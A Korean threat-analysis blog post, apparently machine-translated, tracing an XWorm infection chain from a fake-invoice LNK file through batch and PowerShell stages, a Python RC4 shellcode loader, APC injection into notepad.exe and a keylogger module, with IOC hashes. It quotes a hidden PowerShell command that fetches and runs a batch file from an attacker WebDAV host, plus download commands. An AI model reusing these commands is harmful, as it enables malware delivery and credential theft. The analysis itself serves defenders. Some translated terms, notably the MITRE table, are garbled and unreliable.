소개 :
공격자들은 시스템을 감염시키고 민감한 정보를 훔치기 위해 끊임없이 다양한 기법을 개발하고 있습니다. 최근 캠페인은 LNK 파일로 시작하는 다단계 감염 체인으로, 피해자가 웹 브라우저에서 송장을 열도록 유도합니다. 이 파일은 백그라운드에서 XWorm으로 시스템을 감염시키는 일련의 악성 활동을 수행합니다.
이 블로그에서는 XWorm의 기술적 세부 사항을 살펴보겠습니다. 초기 분석에서는 LNK 파일을 시작으로 감염 체인의 여러 단계를 살펴보겠습니다. 그런 다음 PowerShell, Python 스크립트, 그리고 공격자가 사용하는 페이로드 등 전술, 기법, 절차(TTP)를 살펴보겠습니다. 마지막으로 XWorm 페이로드의 셸코드 삽입을 용이하게 하는 방법을 살펴보겠습니다. 여기서 공격자는 새로운 변종과 동일한 기능을 가진 이전 변종을 사용합니다. 엑스웜 단, 이 변형에는 Xlogger 모듈이 있습니다.
감염 사슬:
최근 웹 브라우저에서 송장을 열어 피해자를 유인하는 LNK 파일을 발견했습니다. 백그라운드에서 파이썬 설치 파일이 포함된 ZIP 파일이 다운로드됩니다. 압축을 풀면 파이썬 설치 파일과 다양한 스크립트가 포함되어 있습니다. 스크립트 폴더에는 "Man.py"라는 악성 스크립트가 있는데, 이 스크립트는 악성 셸코드를 복호화하고 시스템에 삽입하는 역할을 합니다.

LNK 파일:
LNK 파일은 PowerShell 명령을 숨김 모드로 실행합니다. PowerShell 명령을 사용하여 배치 파일 man.bat을 다운로드 폴더에 복사한 다음, Start-Process를 사용하여 이 배치 파일을 백그라운드에서 실행합니다. -WindowStyle Hidden 플래그를 사용하여 명령 프롬프트 창이 나타나지 않도록 합니다.
"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden -c “복사 항목 '\\louise-monitor-mo-rating[.]trycloudflare[.]com@SSL\DavWWWRoot\man[.]bat' \”$env:USERPROFILE\Downloads\”; 시작 프로세스 \”$env:USERPROFILE\Downloads\man[.]bat\” -WindowStyle Hidden”
"

배트 파일:
다운로드된 .bat 파일이 감염 과정을 시작하는 역할을 합니다. 이 파일은 웹 브라우저에서 세금계산서를 열어 피해자의 주의를 분산시킵니다.
.bat 파일에는 PDF 파일 실행을 시작하는 링크가 포함되어 있습니다. 또한, PowerShell 명령을 실행하여 ZIP 파일을 다운로드하고 압축을 푼 후, 해당 폴더로 이동하여 시스템에 악성 셸코드를 삽입하는 Python 스크립트를 실행합니다.
다운로드 ZIP 파일:
powershell -Command “& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%zipUrl%' -OutFile '%destination%' }”
`Invoke-WebRequest`를 사용하여 하드코딩된 URL에서 파일을 다운로드하고 이를 다운로드 위치인 %destination%에 저장합니다.
동일한 다운로드 폴더에서 PowerShell 명령을 사용하여 ZIP 파일을 추출합니다.
powershell -Command “& { Expand-Archive -Path '%destination%' -DestinationPath '%extractTo%' -Force }
ZIP 파일을 추출한 후 man.py가 있는 폴더로 이동하여 실행합니다.

그림 4에서는 "qfv0ao"라는 이름의 ZIP 파일이 다운로드 폴더에 다운로드되고, 웹 브라우저가 pdf 파일을 열고(그림 5) PowerShell을 사용하여 파일의 압축을 푸는(그림 6) 것을 볼 수 있습니다.



파이썬 스크립트:
Python 스크립트에는 암호화된 셸코드가 포함되어 있습니다. 이 셸코드는 Base64로 복호화된 후 RC4로 복호화됩니다. 키는 스크립트 자체에 하드코딩되어 있습니다. 그림 7에서 볼 수 있듯이, 이 스크립트는 VirtualProtect를 사용하여 할당된 메모리의 권한을 변경합니다.

주입:
파이썬 스크립트는 먼저 쉘코드의 실행 권한을 설정한 후 쉘코드를 실행합니다. 쉘코드의 시작 함수는 XWorm이라는 페이로드의 복호화 및 실행을 담당합니다. 아래 그림 8에서 쉘코드 삽입 순서를 확인할 수 있습니다.

그림 8에서 우리는 허가를 받은 쉘코드를 볼 수 있습니다. 페이지 실행 읽기 쓰기그림 9에서는 셸코드가 실행됩니다. 셸코드 시작 시 일부 바이트의 코드가 "notepad.exe"에 셸코드를 삽입하는 역할을 합니다.



Python 스크립트 man.py를 실행하면 그림 11과 같이 "notepad.exe"가 시작됩니다. 먼저 notepad.exe는 일시 중단된 상태로 시작됩니다. 그런 다음 그림 12와 13과 같이 notepad.exe의 주소 공간에 메모리 할당과 셸코드 삽입이 수행됩니다.
셸코드가 삽입되면 비동기 프로시저 호출(APC)이 notepad.exe에 대기열로 추가됩니다. 이 APC는 메모리에서 악성 코드가 있는 주소를 가리킵니다. notepad.exe가 일시 중지 상태에서 다시 시작되면 APC가 악성 코드 실행을 트리거합니다.


PE 파일:
이 XWorm 변종은 이전 버전으로, 여전히 활동 중이며 시스템을 감염시키기 위한 새로운 전략을 시도하고 있습니다. 이 버전에서는 뮤텍스를 생성한 직후 'callk'라는 Xlogger 함수를 호출합니다. 이 Xlogger 모듈은 파일 열기, 키 입력, 웹 브라우저 사용 등 모든 이벤트를 추적하여 "Local/Temp/log.txt" 경로에 저장합니다. 이 파일은 C2 서버로부터 해당 명령을 수신하면 추가로 유출됩니다.

키 로깅 :
키로거 기능은 키 입력을 수집하고 자격 증명이나 개인 정보와 같은 민감한 정보를 훔치는 데 사용됩니다. 아래 스니펫에서 볼 수 있듯이, WH_KEYBOARD_LL 후크 유형을 사용하는 SetWindowsHookEx와 같은 API를 사용하여 키 입력을 캡처합니다. 이렇게 기록된 키 입력은 로컬에 저장되거나 유출될 수 있습니다.
또한 GetKeyboardState나 ToUnicodeEx와 같은 함수는 현재 키보드 레이아웃을 고려하여 키 입력을 읽을 수 있는 텍스트로 변환하는 데 자주 사용됩니다.

결론 :
이 블로그에서는 감염 사슬의 하이라이트를 설명했습니다. 정교하고 다단계적인 악성 코드 피해자의 시스템을 감염시키기 위해 다양한 기법을 활용하는 공격입니다. 악성 LNK 파일, PowerShell 명령, 배치 파일, Python 스크립트, 메모리 주입을 조합하여 악성코드를 실행함으로써, 이 악성코드는 단 한 번의 프롬프트 없이 페이로드를 성공적으로 배포합니다. 셸코드 주입 및 키로깅을 포함한 이 악성코드의 기능을 통해 로그인 자격 증명과 같은 민감한 정보를 훔쳐 공격자가 제어하는 원격 서버로 유출할 수 있습니다.
IOC:
MD5
| 이름 | MD5 |
| LNK 파일 | 1556BD8155D8E9FF2DBDCD852A354B64 |
| 배치 파일 | D0B5238A18ABC402B506F608968270DC |
| 지퍼 | C627DE3B90A0FB5CA8964026360B053A |
| XWorm 페이로드 | 5EDAB6926E304E4DBEF76800918BEE8A
|
보호:
트로이 목마.X웜.S34251703
트로이 목마.제네릭FC.S29960909
미터 공격:
| 술책 | 기술 ID | 이름 |
| 난처 | T1027 | 난독화된 파일 또는 정보 |
| 실행 | T1059.005 | 명령 및 스크립팅 인터프리터: Visual Basic |
| 화면 캡처 | T1113 | 화면 캡처 |
| 피해자 호스트 정보 수집 | T1592 | 시스템 정보를 수집합니다 |
| 입력 캡처 | T1056 | 키 로깅 |
| 방어 회피 | T1055.002 | 프로세스 주입: 휴대용 실행 파일 주입 |
| 콘텐츠 주입 | T1659 | 시스템에 악성 코드 주입 |
| 명령 및 제어 | T1071.001 | 애플리케이션 계층 프로토콜: 웹 프로토콜 |
저자:
바이바브 크루슈나 빌라데
루마나 시디키



